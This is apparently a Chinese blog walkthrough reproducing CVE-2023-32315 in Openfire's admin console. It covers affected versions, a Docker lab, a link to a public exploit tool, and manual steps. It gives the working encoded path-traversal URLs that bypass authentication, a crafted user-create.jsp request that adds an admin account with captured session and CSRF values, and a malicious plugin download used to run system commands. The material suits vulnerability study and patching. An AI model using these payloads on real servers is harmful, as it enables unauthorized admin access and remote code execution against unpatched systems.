0x01 漏洞概述
Openfire的管理控制台是一个基于Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。
0x02 影响范围
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
0x03 复现环境
docker搭建Openfire 4.7.4漏洞环境
拉取镜像(高权限)
docker pull nasqueron/openfire:4.7.4
启动环境,输入以下命令
docker run --name openfire -d --restart=always
--publish 9090:9090 --publish 5222:5222 --publish 7777:7777
--volume /srv/docker/openfire:/var/lib/openfire
nasqueron/openfire:4.7.4
访问环境,需要安装,选择简体中文后一直下一步即可
访问ip:9090
0x04 漏洞复现
直接下载利用脚本(可能登录不上,建议手工复现)
https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
进入scan_all目录下
进行go编译
go mod tidy
go build main.go
main.exe -u http://192.168.30.128:9090/
手动复现
拼接以下路径访问
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
出现这种情况,证明漏洞存在
获取JSESSIONID和csrftoken
直接浏览器访问/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp路径抓包
发现缺少部分cookie
发现发送包自带了cookie,删除cookie重新发包
使用获取到JSESSIONID和csrftoken创建用户
Burp构造路径
/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7
替换cookie值
Cookie: JSESSIONID=node01ia1m1nssiucro533jfseo9u156.node0;csrf=e9qzcDHbFOuKTwq
下载插件
https://download.csdn.net/download/qq_41904294/87912035
密码"123"点击登录
点击系统命令
执行whoami
查看文件系统
此篇文章主要学习来源:https://blog.csdn.net/qq_41904294/article/details/131226136
原文始发于微信公众号(符符要努力):漏洞复现-Openfire未授权+rce(20min可学习完~)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论